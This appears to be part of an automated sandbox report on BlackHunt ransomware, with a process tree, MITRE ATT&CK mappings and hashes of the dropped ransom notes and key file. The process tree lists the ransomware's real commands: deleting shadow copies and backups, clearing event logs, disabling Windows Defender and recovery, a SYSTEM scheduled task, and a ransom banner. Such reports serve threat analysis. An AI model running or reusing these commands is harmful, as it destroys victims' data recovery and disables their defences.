  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:1028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3012
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:3404
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:2176
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe"
  2⤵
  - Deletes itself
  PID:2628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:1732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:2736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:2076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:2208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:3344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:3960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:3388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:3376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:4080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:2280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:1760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:2876

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
1⤵
PID:2648

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
1⤵
PID:2272

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
1⤵
PID:1920

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe" /F
1⤵
- Creates scheduled task(s)
PID:1968

C:\Windows\system32\wbadmin.exe
wbadmin.exe delete catalog -quiet
1⤵
- Deletes backup catalog
PID:2304

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2064

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2260

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3004
- C:\Windows\system32\reg.exe
  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2400

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k swprv
1⤵
PID:344

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2668

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:1620

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
1⤵
PID:2396

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
1⤵
- Interacts with shadow copies
PID:2516

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
1⤵
PID:1516

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1336

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:2776

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:1624

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:2112

C:\Windows\system32\fsutil.exe
fsutil.exe usn deletejournal /D C:
1⤵
- Deletes NTFS Change Journal
PID:2928

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1680

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:1628

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:1592

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
1⤵
- Interacts with shadow copies
PID:1920

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:2480

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
1⤵
PID:2416

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
1⤵
PID:2556

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -Embedding
1⤵
PID:2112

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
1⤵
PID:3020

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
1⤵
PID:2296

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
1⤵
PID:1256

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
1⤵
PID:1352

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:1456

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
1⤵
PID:1696

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
1⤵
PID:1612

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:2596

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
1⤵
PID:1788

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:2608

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
1⤵
- Modifies registry class
PID:2912

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:2840

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
1⤵
- Modifies registry class
PID:2360

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1505430381-440235218-17288193831999611856-13987527420536160251915952902-797969357"
1⤵
PID:2272

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:1852

C:\Windows\system32\taskkill.exe
taskkill /IM mshta.exe /f
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3824

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:1768

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 5
1⤵
- Runs ping.exe
PID:2168

C:\Windows\system32\notepad.exe
notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
1⤵
PID:2576

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
1⤵
PID:320

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
1⤵
PID:412

C:\Windows\system32\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
1⤵
PID:1944

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:892

C:\Windows\system32\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
1⤵
PID:604

C:\Windows\system32\fsutil.exe
fsutil.exe usn deletejournal /D C:
1⤵
- Deletes NTFS Change Journal
PID:2640

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:2148

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:1724

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Application
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1280

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl System
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1332

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security /e:false
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3140

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:3396

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Setup
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1600

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D C:\
1⤵
PID:3472

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D M:\
1⤵
- Enumerates connected drives
PID:2960

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D F:\
1⤵
- Enumerates connected drives
PID:3860

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-729247923-172529749616815341872025829620-14176892555542069471354769424451137265"
1⤵
PID:2696

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
ec6df45424b438a31b611d65815ef3d7

SHA1
2ecd3ab5072431fd8b652a99a8f6ba71c4939727

SHA256
4f4d04170b0eb3e79311508b860904904adea659de98b5f96d1eae7fed6ea66e

SHA512
58d192b9a4af6d115287366f0e149dac5d8e8cb2fb28070603ee46ad7cdce490ac6b41265aa03116e0df23acacfe908aef77aa021d009c5138655207636ff9a1

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
6a6a362f907602964c294b91764ca364

SHA1
74e9594c914f6fc70c100574f5907f7ee50212be

SHA256
ca74e2555e832a0e9c666d6a72d7e730aafc9a9914a111cbe0bdf6a0d11101ab

SHA512
35f8435ad3ef67ab5d76f6733c44ba3362d0dbda27e48bf55a06b8546b552f015818ecaf56c42c11624082ce99e6df4880de67a76e80027098052e0dc5af03ec

Download Submit
F:\#BlackHunt_Private.key

Filesize
1KB

MD5
df01dc148d450092dd8d02e9bd9ca88d

SHA1
2ad52899ae6768ea926ec4b6b847e06a87f6d6ea

SHA256
f2eb37952f5db49dc2f9fca9cfff978e0d1d5a926d0296ffe70561a0c79d3886

SHA512
d9840bd98fbf28fa00c5019ee7dabd9b9b1e7126bc06a3320b16499bcd13280ad5e573ab34d7b74cf6d2c8535c26e929e181ccb44f2ba96f268512efab4285ae

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads